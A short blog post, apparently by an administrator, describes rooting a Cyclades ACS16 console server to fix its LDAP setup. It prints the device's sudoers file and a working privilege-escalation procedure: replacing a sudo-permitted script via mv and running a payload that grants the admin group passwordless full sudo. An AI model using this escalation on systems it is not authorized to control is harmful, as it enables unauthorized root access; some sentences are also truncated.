At work we have a Cyclades ACS16 console server (running
Cyclades-ACS16-Linux V_3.2.0 (Jan/04/08)). While the docs claim all
sorts of LDAP features, there’s nothing (either in the web GUI or the
CLI configuration tool) to setup LDAP with TLS or required group
membership. I tried modifying the /etc/ldap.conf and /etc/nsswitch.conf
runconf and even rebooting, but no luck.
It was apparent that I needed root on the box. Unfortunately, they don’t
give you root, and their sudo command is locked down. But, I figured, if
sudo would let me and
mv (enough to
switch out the ldap.conf and nsswitch.conf files), root should be pretty easy.
The failing of Cyclades’ sudo lockdown is that it allows sudo execution of a few random shell scripts, and also allows `mv`.
# sudoers file. # # This file MUST be edited with the 'visudo' command as root. # # See the sudoers man page for the details on how to write a sudoers file. # # User alias specification # Runas alias specification # Host alias specification # Cmnd alias specification Cmnd_Alias SH_CMDS = /bin/cp, /bin/chown, /bin/egrep, /bin/grep, /bin/cat, /bin/tar, /bin/kill, /bin/mkdir, /bin/mv, /bin/rm, /bin/sed, /bin/touch, /sbin/reboot, /usr/bin/killall, /usr/bin/w, /bin/w_cas, /bin/sess_mngt, /sbin/route, /bin/what Cmnd_Alias CONF_FILES = /bin/vi /etc/network/st_routes, /bin/vi /etc/portslave/pslave.conf, /bin/vi /etc/resolv.conf Cmnd_Alias APPLICATIONS = /bin/pmCommand, /bin/saveconf, /bin/restoreconf, /bin/runconf, /bin/daemon.sh, /bin/manageService.sh, /bin/dsviewKillAdmin, /bin/pmfwupgrade, /bin/adsap2_clear, /bin/upgrade_power.sh, /bin/signal_ras # User privilege specification # root can run any command on any host as any user. root ALL = (ALL) ALL # admin user group command specification. %admin ALL = NOPASSWD: SH_CMDS, CONF_FILES, APPLICATIONS
So, /bin/upgrade_power.sh doesn’t look like we’re using it too much.
Here’s our root procedure. Before doing this, create the
sudo cp /bin/upgrade_power.sh /bin/upgrade_power.sh.SAVE sudo chown root:root /home/admin/foo.sh sudo mv /home/admin/foo.sh /bin/upgrade_power.sh sudo /bin/upgrade_power.sh sudo cat /etc/sudoers # just to verify that it worked sudo mv /bin/upgrade_power.sh.SAVE /bin/upgrade_power.sh # set things back to the way they were
And the key to all of it is the simple
#!/bin/bash chmod u+w /etc/sudoers echo "%admin ALL = NOPASSWD: ALL" >> /etc/sudoers chmod u-w /etc/sudoers
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